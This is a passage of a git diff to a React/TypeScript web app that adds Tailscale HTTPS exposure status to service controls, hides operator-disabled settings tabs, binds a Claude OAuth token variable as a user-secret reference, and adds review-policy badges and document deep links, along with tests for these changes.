+    expect(ready.exposureDetail).toBe("HTTPS ready");
+    expect(ready.exposureDetail).not.toMatch(/unavailable|cleanup|Check the/i);
+
+    const pending = buildEntry(createRuntimeService({
+      status: "running",
+      healthStatus: "healthy",
+      port: 42_020,
+      url: null,
+      exposure: {
+        provider: "tailscale_https",
+        state: "pending",
+        publicUrl: null,
+        hostname: "paperclip-dev.tail29c1aa.ts.net",
+        listeners: [],
+        brokerRef: null,
+        lastError: null,
+        updatedAt: "2026-08-12T00:00:00.000Z",
+      },
+    }));
+    expect(pending.url ?? null).toBeNull();
+    expect(pending.exposureDetail).toBe("Provisioning HTTPS…");
+    expect(JSON.stringify(pending)).not.toContain("http://");
+  });
 });
 
 describe("resolveWorkspaceServiceControlRequests", () => {
diff --git a/ui/src/components/WorkspaceRuntimeControls.tsx b/ui/src/components/WorkspaceRuntimeControls.tsx
index 3afed0427bc..9f50a6e28a7 100644
--- a/ui/src/components/WorkspaceRuntimeControls.tsx
+++ b/ui/src/components/WorkspaceRuntimeControls.tsx
@@ -1,5 +1,6 @@
 import type {
   WorkspaceCommandDefinition,
+  RuntimeExposureStatus,
   WorkspaceRuntimeControlTarget,
   WorkspaceRuntimeService,
 } from "@paperclipai/shared";
@@ -30,6 +31,7 @@ export type WorkspaceRuntimeControlItem = {
   statusLabel: string;
   lifecycle: "shared" | "ephemeral" | null;
   healthStatus: "unknown" | "healthy" | "unhealthy" | null;
+  exposure: RuntimeExposureStatus | null;
   command: string | null;
   cwd: string | null;
   port: number | null;
@@ -96,6 +98,7 @@ function buildServiceItem(
     statusLabel: runtimeService?.status ?? "stopped",
     lifecycle: runtimeService?.lifecycle ?? command.lifecycle,
     healthStatus: runtimeService?.healthStatus ?? "unknown",
+    exposure: runtimeService?.exposure ?? null,
     command: runtimeService?.command ?? command.command,
     cwd: runtimeService?.cwd ?? command.cwd,
     port: runtimeService?.port ?? null,
@@ -120,6 +123,7 @@ function buildJobItem(
     statusLabel: "run once",
     lifecycle: null,
     healthStatus: null,
+    exposure: null,
     command: command.command,
     cwd: command.cwd,
     port: null,
@@ -169,6 +173,7 @@ export function buildWorkspaceRuntimeControlSections(input: {
       statusLabel: runtimeService.status,
       lifecycle: runtimeService.lifecycle,
       healthStatus: runtimeService.healthStatus,
+      exposure: runtimeService.exposure ?? null,
       command: runtimeService.command ?? null,
       cwd: runtimeService.cwd ?? null,
       port: runtimeService.port ?? null,
@@ -213,6 +218,39 @@ function isActiveStatusLabel(statusLabel: string) {
   return statusLabel === "running" || statusLabel === "starting" || statusLabel === "provisioning";
 }
 
+function exposureFailureCopy(exposure: RuntimeExposureStatus | null) {
+  if (exposure?.state === "failed") {
+    return {
+      label: "HTTPS unavailable",
+      remediation: "Check the Tailscale broker and node HTTPS configuration.",
+    };
+  }
+  if (exposure?.state === "cleanup_pending") {
+    return {
+      label: "HTTPS cleanup pending",
+      remediation: "Restart the host broker before reusing this port.",
+    };
+  }
+  return null;
+}
+
+function ExposureFailureDetail({ exposure }: { exposure: RuntimeExposureStatus | null }) {
+  const copy = exposureFailureCopy(exposure);
+  if (!copy) return null;
+  return (
+    <div className="space-y-1 break-words text-xs text-destructive" role="alert">
+      <div
+        className="line-clamp-3 font-medium"
+        title={exposure?.lastError ?? undefined}
+      >
+        {copy.label}
+        {exposure?.lastError ? ` · ${exposure.lastError}` : ""}
+      </div>
+      <div>{copy.remediation}</div>
+    </div>
+  );
+}
+
 /**
  * Maps runtime control sections onto the fixed-geometry service control bar
  * model. In-flight mutations overlay the transitional states (starting /
@@ -260,6 +298,15 @@ export function buildWorkspaceServiceControlEntries(input: {
     const failureDetail = state === "failed"
       ? `Service failed${runtimeService?.stoppedAt ? ` · ${timeAgo(runtimeService.stoppedAt)}` : ""}`
       : null;
+    const exposure = runtimeService?.exposure ?? item.exposure;
+    const exposureFailure = exposureFailureCopy(exposure);
+    const exposureDetail = exposure?.state === "pending"
+      ? "Provisioning HTTPS…"
+      : exposure?.state === "ready"
+        ? "HTTPS ready"
+        : exposureFailure
+          ? `${exposureFailure.label} · ${exposureFailure.remediation}`
+          : null;
 
     return {
       key: item.key,
@@ -269,6 +316,8 @@ export function buildWorkspaceServiceControlEntries(input: {
       url: item.url,
       port: item.port,
       failureDetail,
+      exposureState: exposure?.state ?? null,
+      exposureDetail,
       canStart: item.canStart,
     };
   });
@@ -456,6 +505,7 @@ function CommandSection({
                   {item.cwd ? <div className="break-all font-mono">{item.cwd}</div> : null}
                   {item.disabledReason ? <div>{item.disabledReason}</div> : null}
                 </div>
+                <ExposureFailureDetail exposure={item.exposure} />
                 {item.healthStatus && item.statusLabel !== "stopped" ? (
                   <div className="flex items-center gap-2">
                     <Badge variant="outline" className={cn(
diff --git a/ui/src/components/WorkspaceServiceControlBar.test.tsx b/ui/src/components/WorkspaceServiceControlBar.test.tsx
index 113f1253600..194600c1b44 100644
--- a/ui/src/components/WorkspaceServiceControlBar.test.tsx
+++ b/ui/src/components/WorkspaceServiceControlBar.test.tsx
@@ -1,6 +1,6 @@
 // @vitest-environment jsdom
 
-import { act } from "react";
+import { flushSync } from "react-dom";
 import { createRoot, type Root } from "react-dom/client";
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 import { WorkspaceServiceControlBar } from "./WorkspaceServiceControlBar";
@@ -8,6 +8,17 @@ import { WorkspaceServiceControlBar } from "./WorkspaceServiceControlBar";
 // eslint-disable-next-line @typescript-eslint/no-explicit-any
 (globalThis as any).IS_REACT_ACT_ENVIRONMENT = true;
 
+async function act(callback: () => void | Promise<void>) {
+  let pending: void | Promise<void>;
+  flushSync(() => {
+    pending = callback();
+  });
+  await pending!;
+  await Promise.resolve();
+  await new Promise<void>((resolve) => setTimeout(resolve, 0));
+  flushSync(() => {});
+}
+
 describe("WorkspaceServiceControlBar", () => {
   let container: HTMLDivElement;
   let root: Root;
@@ -105,4 +116,116 @@ describe("WorkspaceServiceControlBar", () => {
     expect(runningSegment).not.toBeNull();
     expect(runningSegment?.className).toBe(stoppedSegment?.className);
   });
+
+  it("links a managed HTTPS runtime at its tailnet URL and offers no link before it is verified", async () => {
+    // PAP-17158: this bar renders the launch link on the workspace, project, and
+    // issue surfaces. The href must be the verified tailnet HTTPS URL including
+    // its non-standard port, and an unverified exposure must render no anchor at
+    // all — an `http://` fallback link is the failure this feature prevents.
+    const httpsUrl = "https://paperclip-dev.tail29c1aa.ts.net:42010";
+    const renderExposed = async (url: string | null, exposureState: "ready" | "pending") => {
+      await act(() => {
+        root.render(
+          <WorkspaceServiceControlBar
+            services={[{
+              key: "paperclip-dev",
+              name: "paperclip-dev",
+              state: "running",
+              healthStatus: "healthy",
+              url,
+              port: 42_010,
+              exposureState,
+            }]}
+            onAction={() => {}}
+          />,
+        );
+      });
+    };
+
+    await renderExposed(httpsUrl, "ready");
+    const links = Array.from(container.querySelectorAll<HTMLAnchorElement>("a[href]"));
+    expect(links.length).toBeGreaterThan(0);
+    for (const link of links) expect(link.getAttribute("href")).toBe(httpsUrl);
+    // The port is what makes a preview reachable, so it must stay visible.
+    expect(container.textContent).toContain("paperclip-dev.tail29c1aa.ts.net:42010");
+    // Scoped to hrefs, titles, and text: an SVG `xmlns` is not a launch link.
+    const advertisedUrls = () => [
+      ...Array.from(container.querySelectorAll("a[href]"), (el) => el.getAttribute("href")),
+      ...Array.from(container.querySelectorAll("[title]"), (el) => el.getAttribute("title")),
+      container.textContent,
+    ].join(" ");
+    expect(advertisedUrls()).not.toContain("http://");
+
+    const copyButton = container.querySelector<HTMLButtonElement>('button[aria-label="Copy URL"]')!;
+    await act(async () => {
+      copyButton.click();
+      await Promise.resolve();
+    });
+    expect(writeText).toHaveBeenCalledWith(httpsUrl);
+
+    // Exposure still pending: the backend is up but has no publishable URL yet.
+    await renderExposed(null, "pending");
+    expect(container.querySelectorAll("a[href]")).toHaveLength(0);
+    expect(advertisedUrls()).not.toContain("http://");
+    expect(container.textContent).toContain(":42010");
+  });
+
+  it("renders HTTPS cleanup separately from process running state", async () => {
+    await act(() => {
+      root.render(
+        <WorkspaceServiceControlBar
+          services={[{
+            key: "web",
+            name: "Web",
+            state: "running",
+            healthStatus: "healthy",
+            exposureState: "cleanup_pending",
+            exposureDetail: "HTTPS cleanup pending · Restart the host broker before reusing this port.",
+          }]}
+          onAction={() => {}}
+        />,
+      );
+    });
+
+    expect(container.textContent).toContain("Running");
+    expect(container.textContent).toContain("HTTPS cleanup pending");
+    expect(container.querySelector(".text-destructive")).not.toBeNull();
+  });
+
+  it.each([
+    ["failed", "HTTPS unavailable · Check the Tailscale broker and node HTTPS configuration."],
+    ["cleanup_pending", "HTTPS cleanup pending · Restart the host broker before reusing this port."],
+  ] as const)("keeps the full %s remediation visible in the multi-service popover", async (exposureState, exposureDetail) => {
+    await act(() => {
+      root.render(
+        <WorkspaceServiceControlBar
+          services={[
+            {
+              key: "web",
+              name: "Web",
+              state: "running",
+              healthStatus: "healthy",
+              exposureState,
+              exposureDetail,
+            },
+            {
+              key: "api",
+              name: "API",
+              state: "stopped",
+              port: 42001,
+            },
+          ]}
+          defaultServicesOpen
+          onAction={() => {}}
+        />,
+      );
+    });
+
+    const detail = Array.from(document.body.querySelectorAll("span"))
+      .find((element) => element.textContent === exposureDetail);
+    expect(detail).toBeDefined();
+    expect(detail?.classList.contains("text-destructive")).toBe(true);
+    expect(detail?.classList.contains("truncate")).toBe(false);
+    expect(detail?.classList.contains("whitespace-normal")).toBe(true);
+  });
 });
diff --git a/ui/src/components/WorkspaceServiceControlBar.tsx b/ui/src/components/WorkspaceServiceControlBar.tsx
index 8862e2bf40e..2f27d8b27a0 100644
--- a/ui/src/components/WorkspaceServiceControlBar.tsx
+++ b/ui/src/components/WorkspaceServiceControlBar.tsx
@@ -35,6 +35,9 @@ export type WorkspaceServiceControlEntry = {
   port?: number | null;
   /** Short human-readable failure summary, e.g. "dev exited with code 1, 12s ago". */
   failureDetail?: string | null;
+  /** HTTPS exposure lifecycle, intentionally separate from process health. */
+  exposureState?: "pending" | "ready" | "failed" | "cleanup_pending" | "removed" | null;
+  exposureDetail?: string | null;
   canStart?: boolean;
 };
 
@@ -276,18 +279,20 @@ function ActionSlots({
   );
 }
 
-function FailureDetail({
+function ServiceDetail({
   entry,
   onViewLogs,
 }: {
   entry: WorkspaceServiceControlEntry;
   onViewLogs?: () => void;
 }) {
-  if (entry.state !== "failed" || !entry.failureDetail) return null;
+  const detail = entry.exposureDetail ?? (entry.state === "failed" ? entry.failureDetail : null);
+  if (!detail) return null;
+  const exposureFailed = entry.exposureState === "failed" || entry.exposureState === "cleanup_pending";
   return (
-    <div className="flex items-center gap-1 text-xs text-muted-foreground">
-      <span>{entry.failureDetail}</span>
-      {onViewLogs ? (
+    <div className={cn("flex items-center gap-1 text-xs", exposureFailed ? "text-destructive" : "text-muted-foreground")}>
+      <span>{detail}</span>
+      {onViewLogs && entry.state === "failed" ? (
         <>
           <span aria-hidden>·</span>
           <button
@@ -339,7 +344,7 @@ function SingleServiceBar({
           <UrlSegment entry={entry} compact />
         </div>
       </div>
-      <FailureDetail entry={entry} onViewLogs={onViewLogs} />
+      <ServiceDetail entry={entry} onViewLogs={onViewLogs} />
     </div>
   );
 }
@@ -354,8 +359,11 @@ function ServicePopoverRow({
   const meta = statusMeta(entry);
   const displayUrl = formatServiceUrl(entry.url);
   const live = entry.state === "running" && Boolean(entry.url);
-  const secondary = live
-    ? displayUrl
+  const exposureFailed = entry.exposureState === "failed" || entry.exposureState === "cleanup_pending";
+  const secondary = entry.exposureDetail
+    ? entry.exposureDetail
+    : live
+      ? displayUrl
     : entry.state === "starting" && entry.port
       ? `starting on :${entry.port}…`
       : entry.state === "failed" && entry.failureDetail
@@ -382,7 +390,16 @@ function ServicePopoverRow({
               <CopyUrlButton url={entry.url} />
             </>
           ) : (
-            <span className="min-w-0 truncate text-xs text-muted-foreground">{secondary}</span>
+            <span
+              className={cn(
+                "min-w-0 text-xs",
+                exposureFailed
+                  ? "whitespace-normal break-words text-destructive"
+                  : "truncate text-muted-foreground",
+              )}
+            >
+              {secondary}
+            </span>
           )}
         </div>
       </div>
diff --git a/ui/src/components/access/CompanySettingsNav.test.tsx b/ui/src/components/access/CompanySettingsNav.test.tsx
index 40f2eeed595..aa522e57ef7 100644
--- a/ui/src/components/access/CompanySettingsNav.test.tsx
+++ b/ui/src/components/access/CompanySettingsNav.test.tsx
@@ -2,7 +2,9 @@
 
 import { createRoot } from "react-dom/client";
 import { flushSync } from "react-dom";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { queryKeys } from "@/lib/queryKeys";
 import { CompanySettingsNav, getCompanySettingsTab } from "./CompanySettingsNav";
 
 let currentPathname = "/company/settings";
@@ -78,21 +80,36 @@ describe("CompanySettingsNav", () => {
     expect(getCompanySettingsTab("/company/settings/invites")).toBe("invites");
     expect(getCompanySettingsTab("/PAP/company/settings/secrets")).toBe("secrets");
     expect(getCompanySettingsTab("/company/settings/instance/profile")).toBe("instance-profile");
-    expect(getCompanySettingsTab("/PAP/company/settings/instance/general")).toBe("instance-general");
+    expect(getCompanySettingsTab("/PAP/company/settings/instance/general")).toBe("general");
     expect(getCompanySettingsTab("/company/settings/instance/environments")).toBe("instance-environments");
     expect(getCompanySettingsTab("/company/settings/instance/access")).toBe("instance-access");
+    expect(getCompanySettingsTab("/PAP/company/settings/instance/access")).toBe("instance-access");
     expect(getCompanySettingsTab("/company/settings/instance/heartbeats")).toBe("instance-heartbeats");
+    expect(getCompanySettingsTab("/PAP/company/settings/instance/heartbeats")).toBe("instance-heartbeats");
     expect(getCompanySettingsTab("/company/settings/instance/experimental")).toBe("instance-experimental");
     expect(getCompanySettingsTab("/PAP/company/settings/instance/plugins/example")).toBe("instance-plugins");
     expect(getCompanySettingsTab("/company/settings/instance/adapters")).toBe("instance-adapters");
   });
 
+  function renderNav(root: ReturnType<typeof createRoot>, hiddenSettings?: string[]) {
+    const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    queryClient.setQueryData(queryKeys.health, {
+      status: "ok",
+      ...(hiddenSettings ? { hiddenSettings } : {}),
+    });
+    root.render(
+      <QueryClientProvider client={queryClient}>
+        <CompanySettingsNav />
+      </QueryClientProvider>,
+    );
+  }
+
   it("renders the active tab and navigates when a different tab is selected", async () => {
     currentPathname = "/PAP/company/settings/members";
     const root = createRoot(container);
 
     await act(async () => {
-      root.render(<CompanySettingsNav />);
+      renderNav(root);
     });
 
     expect(container.textContent).toContain("members");
@@ -106,14 +123,13 @@ describe("CompanySettingsNav", () => {
           { value: "members", label: "Members" },
           { value: "invites", label: "Invites" },
           { value: "secrets", label: "Secrets" },
-          { value: "instance-profile", label: "Instance profile" },
-          { value: "instance-general", label: "Instance general" },
-          { value: "instance-environments", label: "Instance environments" },
-          { value: "instance-access", label: "Instance access" },
-          { value: "instance-heartbeats", label: "Instance heartbeats" },
-          { value: "instance-experimental", label: "Instance experimental" },
-          { value: "instance-plugins", label: "Instance plugins" },
-          { value: "instance-adapters", label: "Instance adapters" },
+          { value: "instance-profile", label: "Profile" },
+          { value: "instance-environments", label: "Environments" },
+          { value: "instance-access", label: "Access" },
+          { value: "instance-heartbeats", label: "Heartbeats" },
+          { value: "instance-experimental", label: "Experimental" },
+          { value: "instance-plugins", label: "Plugins" },
+          { value: "instance-adapters", label: "Adapters" },
         ],
       }),
     );
@@ -131,4 +147,34 @@ describe("CompanySettingsNav", () => {
       root.unmount();
     });
   });
+
+  it("filters operator-hidden tabs out of the tab bar", async () => {
+    currentPathname = "/PAP/company/settings/members";
+    const root = createRoot(container);
+
+    await act(async () => {
+      renderNav(root, ["instance.plugins", "instance.heartbeats"]);
+    });
+
+    const renderedValues = pageTabBarMock.mock.calls.at(-1)?.[0]?.items?.map(
+      (item: { value: string }) => item.value,
+    );
+    expect(renderedValues).toEqual([
+      "general",
+      "export",
+      "import",
+      "members",
+      "invites",
+      "secrets",
+      "instance-profile",
+      "instance-environments",
+      "instance-access",
+      "instance-experimental",
+      "instance-adapters",
+    ]);
+
+    await act(async () => {
+      root.unmount();
+    });
+  });
 });
diff --git a/ui/src/components/access/CompanySettingsNav.tsx b/ui/src/components/access/CompanySettingsNav.tsx
index d06b913f8d1..e07147bcdce 100644
--- a/ui/src/components/access/CompanySettingsNav.tsx
+++ b/ui/src/components/access/CompanySettingsNav.tsx
@@ -1,5 +1,6 @@
 import { PageTabBar } from "@/components/PageTabBar";
 import { Tabs } from "@/components/ui/tabs";
+import { useHiddenSettings } from "@/hooks/useHiddenSettings";
 import { INSTANCE_SETTINGS_PATH_PREFIX } from "@/lib/instance-settings";
 import { useLocation, useNavigate } from "@/lib/router";
 
@@ -10,31 +11,41 @@ const items = [
   { value: "members", label: "Members", href: "/company/settings/members" },
   { value: "invites", label: "Invites", href: "/company/settings/invites" },
   { value: "secrets", label: "Secrets", href: "/company/settings/secrets" },
-  { value: "instance-profile", label: "Instance profile", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/profile` },
-  { value: "instance-general", label: "Instance general", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/general` },
-  { value: "instance-environments", label: "Instance environments", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/environments` },
-  { value: "instance-access", label: "Instance access", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/access` },
-  { value: "instance-heartbeats", label: "Instance heartbeats", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/heartbeats` },
-  { value: "instance-experimental", label: "Instance experimental", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/experimental` },
-  { value: "instance-plugins", label: "Instance plugins", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/plugins` },
-  { value: "instance-adapters", label: "Instance adapters", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/adapters` },
+  { value: "instance-profile", label: "Profile", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/profile` },
+  { value: "instance-environments", label: "Environments", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/environments` },
+  { value: "instance-access", label: "Access", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/access` },
+  { value: "instance-heartbeats", label: "Heartbeats", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/heartbeats` },
+  { value: "instance-experimental", label: "Experimental", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/experimental` },
+  { value: "instance-plugins", label: "Plugins", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/plugins` },
+  { value: "instance-adapters", label: "Adapters", href: `${INSTANCE_SETTINGS_PATH_PREFIX}/adapters` },
 ] as const;
 
 type CompanySettingsTab = (typeof items)[number]["value"];
 
+/** Tab values suppressed when their page is operator-hidden. */
+const hiddenSettingKeyByTab: Partial<Record<CompanySettingsTab, string>> = {
+  "instance-profile": "instance.profile",
+  "instance-environments": "instance.environments",
+  "instance-access": "instance.access",
+  "instance-heartbeats": "instance.heartbeats",
+  "instance-experimental": "instance.experimental",
+  "instance-plugins": "instance.plugins",
+  "instance-adapters": "instance.adapters",
+};
+
 export function getCompanySettingsTab(pathname: string): CompanySettingsTab {
   if (pathname.includes(`${INSTANCE_SETTINGS_PATH_PREFIX}/profile`)) {
     return "instance-profile";
   }
 
-  if (pathname.includes(`${INSTANCE_SETTINGS_PATH_PREFIX}/access`)) {
-    return "instance-access";
-  }
-
   if (pathname.includes(`${INSTANCE_SETTINGS_PATH_PREFIX}/environments`)) {
     return "instance-environments";
   }
 
+  if (pathname.includes(`${INSTANCE_SETTINGS_PATH_PREFIX}/access`)) {
+    return "instance-access";
+  }
+
   if (pathname.includes(`${INSTANCE_SETTINGS_PATH_PREFIX}/heartbeats`)) {
     return "instance-heartbeats";
   }
@@ -52,7 +63,7 @@ export function getCompanySettingsTab(pathname: string): CompanySettingsTab {
   }
 
   if (pathname.includes(`${INSTANCE_SETTINGS_PATH_PREFIX}/general`)) {
-    return "instance-general";
+    return "general";
   }
 
   if (pathname.includes("/company/settings/environments")) {
@@ -85,10 +96,15 @@ export function getCompanySettingsTab(pathname: string): CompanySettingsTab {
 export function CompanySettingsNav() {
   const location = useLocation();
   const navigate = useNavigate();
+  const { hidden: hiddenSettings } = useHiddenSettings();
   const activeTab = getCompanySettingsTab(location.pathname);
+  const visibleItems = items.filter((item) => {
+    const hiddenKey = hiddenSettingKeyByTab[item.value];
+    return !hiddenKey || !hiddenSettings.has(hiddenKey);
+  });
 
   function handleTabChange(value: string) {
-    const nextTab = items.find((item) => item.value === value);
+    const nextTab = visibleItems.find((item) => item.value === value);
     if (!nextTab || nextTab.value === activeTab) return;
     navigate(nextTab.href);
   }
@@ -96,7 +112,7 @@ export function CompanySettingsNav() {
   return (
     <Tabs value={activeTab} onValueChange={handleTabChange}>
       <PageTabBar
-        items={items.map(({ value, label }) => ({ value, label }))}
+        items={visibleItems.map(({ value, label }) => ({ value, label }))}
         value={activeTab}
         onValueChange={handleTabChange}
         align="start"
diff --git a/ui/src/components/artifacts/ArtifactCard.test.tsx b/ui/src/components/artifacts/ArtifactCard.test.tsx
index 538691e8de3..9046b30ece3 100644
--- a/ui/src/components/artifacts/ArtifactCard.test.tsx
+++ b/ui/src/components/artifacts/ArtifactCard.test.tsx
@@ -40,7 +40,9 @@ function makeArtifact(overrides: Partial<CompanyArtifact> = {}): CompanyArtifact
     issue: { id: "issue-1", identifier: "PAP-10306", title: "Landing visuals" },
     project: { id: "proj-1", name: "Paperclip App" },
     createdByAgent: { id: "agent-1", name: "ClaudeCoder" },
-    updatedAt: "2026-06-01T12:00:00.000Z",
+    // Local, not UTC: the card renders "Last edited" from the local calendar
+    // day, and noon UTC is already the 2nd at UTC+14.
+    updatedAt: new Date(2026, 5, 1, 12, 0, 0, 0).toISOString(),
     href: "/issues/PAP-10306#attachment-art-1",
     ...overrides,
   };
@@ -69,7 +71,7 @@ describe("ArtifactCard", () => {
         artifact={makeArtifact({
           title: "Social launch clip",
           issue: { id: "issue-2", identifier: "PAP-10370", title: "Make artifact page look like this" },
-          updatedAt: "2025-10-08T12:00:00.000Z",
+          updatedAt: new Date(2025, 9, 8, 12, 0, 0, 0).toISOString(),
           createdByAgent: null,
         })}
       />,
diff --git a/ui/src/components/environment-variables-editor/model.ts b/ui/src/components/environment-variables-editor/model.ts
index 182168a5701..f0e7b09bcb5 100644
--- a/ui/src/components/environment-variables-editor/model.ts
+++ b/ui/src/components/environment-variables-editor/model.ts
@@ -134,6 +134,33 @@ export function valueFromRows(rows: EnvRow[]): Record<string, EnvBinding> | unde
   return Object.keys(record).length > 0 ? record : undefined;
 }
 
+// The fixed environment variable name for the Claude subscription OAuth token.
+// A subscription login stores the token as a user secret under this key. The
+// adapter reads the variable at run start.
+export const CLAUDE_OAUTH_TOKEN_ENV_KEY = "CLAUDE_CODE_OAUTH_TOKEN";
+
+/**
+ * Build the fixed `CLAUDE_CODE_OAUTH_TOKEN` binding. The binding is a
+ * `user_secret_ref`, so the adapter config holds a reference to the user secret,
+ * never the token value. This reuses the editor `user_secret_ref` builder in
+ * {@link valueFromRows}, so the fixed binding keeps the same shape as an
+ * operator-authored user-secret row.
+ */
+export function buildFixedClaudeOAuthBinding(): Record<string, EnvBinding> {
+  return (
+    valueFromRows([
+      {
+        ...emptyRow("user_secret"),
+        name: CLAUDE_OAUTH_TOKEN_ENV_KEY,
+        userSecretKey: CLAUDE_OAUTH_TOKEN_ENV_KEY,
+        required: true,
+        version: "latest",
+      },
+    ]) ?? {}
+  );
+}
+
+
 export const ENV_NAME_RE = /^[A-Za-z_][A-Za-z0-9_]*$/;
 
 export type NameIssueLevel = "error" | "warn";
diff --git a/ui/src/components/issue-properties/IssueProperties.tsx b/ui/src/components/issue-properties/IssueProperties.tsx
index 5fa9ada2be6..2aadb3994b4 100644
--- a/ui/src/components/issue-properties/IssueProperties.tsx
+++ b/ui/src/components/issue-properties/IssueProperties.tsx
@@ -5,7 +5,12 @@ import { pickTextColorForPillBg } from "@/lib/color-contrast";
 import { issueStatusText } from "@/lib/status-colors";
 import { copyTextToClipboard } from "@/lib/clipboard";
 import { Link } from "@/lib/router";
-import { deriveOriginatingActor, type Issue, type IssueLabel } from "@paperclipai/shared";
+import {
+  deriveOriginatingActor,
+  isArtifactReviewDocumentKey,
+  type Issue,
+  type IssueLabel,
+} from "@paperclipai/shared";
 import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query";
 import { accessApi } from "../../api/access";
 import { agentsApi } from "../../api/agents";
@@ -93,6 +98,7 @@ import {
 } from "./helpers";
 import { PropertyPicker } from "./property-picker";
 import { PropertyChip, PropertyRow, PropertySection } from "./primitives";
+import { issueReviewPolicyBadge } from "../../lib/review-policy";
 import { IssueCasesPanel } from "../IssueCasesPanel";
 import { ExpandRelationListButton, RemovableIssueReferencePill } from "./relation-controls";
 import { Badge } from "@/components/ui/badge";
@@ -147,6 +153,13 @@ interface IssuePropertiesProps {
   onRetryExternalObjects?: () => void;
   onCheckMonitorNow?: () => void;
   checkingMonitorNow?: boolean;
+  documentDeepLink?: IssuePropertiesDocumentDeepLink | null;
+}
+
+export interface IssuePropertiesDocumentDeepLink {
+  requestId: number;
+  tab: "plans" | "artifacts";
+  documentKey: string;
 }
 
 const ISSUE_BLOCKER_SEARCH_LIMIT = 50;
@@ -165,6 +178,7 @@ export function IssueProperties({
   onRetryExternalObjects,
   onCheckMonitorNow,
   checkingMonitorNow = false,
+  documentDeepLink,
 }: IssuePropertiesProps) {
   const { selectedCompanyId } = useCompany();
   const { isMobile } = useSidebar();
@@ -216,10 +230,15 @@ export function IssueProperties({
     enabled: taskChatShellEnabled,
   });
   const { data: paneTabDocuments } = useIssueDocuments(taskChatShellEnabled ? issue.id : null);
+  // Proxy `artifact-review-*` documents surface only through their Work
+  // product row, so they must not summon the Plan or Documents surfaces.
+  const paneTabStandaloneDocuments = (paneTabDocuments ?? []).filter(
+    (doc) => !isArtifactReviewDocumentKey(doc.key),
+  );
   const hasPlanTab =
     Boolean(paneTabPlanDocument)
     || (paneTabAcceptedPlans?.length ?? 0) > 0
-    || (paneTabDocuments?.length ?? 0) > 0
+    || paneTabStandaloneDocuments.length > 0
     || issue.workMode === "planning";
   // Artifacts covers the same three sources the tab body composes: work
   // products, documents (redundant with the Plan tab, intentionally), and
@@ -227,7 +246,7 @@ export function IssueProperties({
   // no longer summon the tab.
   const hasArtifactsTab =
     (paneTabWorkProducts?.length ?? 0) > 0
-    || (paneTabDocuments?.length ?? 0) > 0
+    || paneTabStandaloneDocuments.length > 0
     || selectAgentArtifactAttachments(paneTabAttachments, paneTabWorkProducts).length > 0;
   const [paneTab, setPaneTab] = useState("properties");
   // Once a plan document exists, surface it: switch the pane to the Plan tab so
@@ -244,6 +263,11 @@ export function IssueProperties({
       setPaneTab("plans");
     }
   }, [hasPlanTab]);
+  useEffect(() => {
+    if (!documentDeepLink) return;
+    paneTabUserChosenRef.current = true;
+    setPaneTab(documentDeepLink.tab);
+  }, [documentDeepLink]);
   const [assigneeOpen, setAssigneeOpen] = useState(false);
   const [assigneeSearch, setAssigneeSearch] = useState("");
   /** When a run is live, a selection is staged here until the operator confirms
@@ -848,6 +872,10 @@ export function IssueProperties({
   const approverTrigger = approverValues.length > 0
     ? <span className="text-sm truncate min-w-0" title={approverLabel}>{approverLabel}</span>
     : <span className="text-sm text-muted-foreground">None</span>;
+  // PAP-16506 P4: who may give the `in_review` verdict. Only an agent sets this,
+  // and only the two opt-in constraints are worth a row — the default (`null` ≡
+  // "anyone can approve") is what every issue already does, so it shows nothing.
+  const reviewPolicyBadge = issueReviewPolicyBadge(issue.reviewPolicy);
   const nextRunnableExecutionStage = (() => {
     if (issue.executionState?.status === "changes_requested" && issue.executionState.currentStageType) {
       return issue.executionState.currentStageType;
@@ -2302,6 +2330,16 @@ export function IssueProperties({
       </PropertySection>
 
       <PropertySection title="Execution">
+        {/* Read-only: agents set the policy, the board does not. */}
+        {reviewPolicyBadge ? (
+          <PropertyRow label="Approvals">
+            <PropertyChip title={reviewPolicyBadge.description}>
+              <reviewPolicyBadge.Icon className="shrink-0 text-muted-foreground" aria-hidden />
+              <span className="min-w-0 truncate">{reviewPolicyBadge.label}</span>
+            </PropertyChip>
+          </PropertyRow>
+        ) : null}
+
         <PropertyPicker
           inline={inline}
           label="Reviewers"
@@ -2640,7 +2678,10 @@ export function IssueProperties({
       ) : null}
       {hasArtifactsTab ? (
         <TabsContent value="artifacts">
-          <IssuePropertiesArtifactsTab issue={issue} />
+          <IssuePropertiesArtifactsTab
+            issue={issue}
+            documentDeepLink={documentDeepLink?.tab === "artifacts" ? documentDeepLink : null}
+          />
         </TabsContent>
       ) : null}
     </Tabs>
diff --git a/ui/src/components/issue-properties/IssuePropertiesArtifactsTab.tsx b/ui/src/components/issue-properties/IssuePropertiesArtifactsTab.tsx
index 4b9b2f67ed8..dea4ed8a2cc 100644
--- a/ui/src/components/issue-properties/IssuePropertiesArtifactsTab.tsx
+++ b/ui/src/components/issue-properties/IssuePropertiesArtifactsTab.tsx
@@ -1,10 +1,22 @@
-import { useState } from "react";
+import { useEffect, useRef, useState } from "react";
 import type { CSSProperties } from "react";
-import { useQuery } from "@tanstack/react-query";
-import type { Issue, IssueDocument, IssueWorkProduct } from "@paperclipai/shared";
+import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query";
+import type {
+  AttachmentArtifactWorkProductMetadata,
+  Issue,
+  IssueDocument,
+  IssueWorkProduct,
+} from "@paperclipai/shared";
+import {
+  MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES,
+  artifactReviewDocumentKey,
+  getMarkdownWorkProductAttachmentMetadata,
+  isArtifactReviewDocumentKey,
+} from "@paperclipai/shared";
 import {
   ChevronDown,
